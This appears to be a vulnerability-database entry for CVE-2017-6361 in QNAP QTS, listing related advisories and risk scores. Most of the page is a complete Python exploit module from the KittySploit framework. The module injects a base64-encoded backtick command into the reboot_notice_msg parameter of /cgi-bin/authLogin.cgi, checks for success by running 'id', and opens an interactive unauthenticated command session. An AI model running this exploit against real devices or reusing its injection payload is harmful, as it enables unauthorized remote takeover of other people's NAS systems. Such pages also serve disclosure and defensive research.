QNAP QTS - authLogin.cgi RCE (CVE-2017-6361)
| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| QNAP TVS-663 QTS < 4.2.4 build 20170313 - Command Injection Vulnerability | 7 Apr 201700:00 | – | zdt | |
| QTS Command Execution | 3 Apr 201700:00 | – | bdu_fstec | |
| CVE-2017-6361 | 7 Apr 201700:00 | – | circl | |
| QNAP QTS Arbitrary Command Execution Vulnerability (CNVD-2017-10395) | 24 May 201700:00 | – | cnvd | |
| QNAP QTS Multiple Command Injection Vulnerabilities (CVE-2017-6361; CVE-2017-6359; CVE-2017-6360) | 3 Mar 201900:00 | – | checkpoint_advisories | |
| CVE-2017-6361 | 23 Mar 201716:00 | – | cve | |
| CVE-2017-6361 | 23 Mar 201716:00 | – | cvelist | |
| QNAP TVS-663 QTS < 4.2.4 build 20170313 - Command Injection | 7 Apr 201700:00 | – | exploitdb | |
| QNAP TVS-663 QTS 4.2.4 build 20170313 - Command Injection | 7 Apr 201700:00 | – | exploitpack | |
| QNAP QTS - authLogin.cgi RCE Detection (CVE-2017-6361) | 10 Aug 202606:19 | – | kittysploit |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""QNAP QTS authLogin.cgi RCE (CVE-2017-6361) — opens execute session."""
import base64
import re
import time
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'QNAP QTS - authLogin.cgi RCE (CVE-2017-6361)',
'description': (
'Exploits command injection in QNAP /cgi-bin/authLogin.cgi reboot_notice_msg. '
'Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2017-6361'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2017-6361',
'https://www.qnap.com/en/security-advisory/nas-201703-13',
],
'tags': ['qnap', 'nas', 'rce', 'cmdi', 'unauth', 'cve-2017-6361'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 1,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/cve_2017_6361_detect'],
},
},
}
def execute(self, cmd: str) -> str:
t = int(time.time()) % 100000000
safe = str(cmd).replace('`', '')
raw = f"QNAPVJBD{t} Disconnect 14`(echo;{safe})>&2`"
msg = base64.b64encode(raw.encode()).decode()
path = f'/cgi-bin/authLogin.cgi?reboot_notice_msg={msg}'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2017-6361 confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'No id output', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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10 Aug 2026 06:19Current
8.7High risk
Vulners AI Score8.7
CVSS 39.8
CVSS 210
EPSS0.56847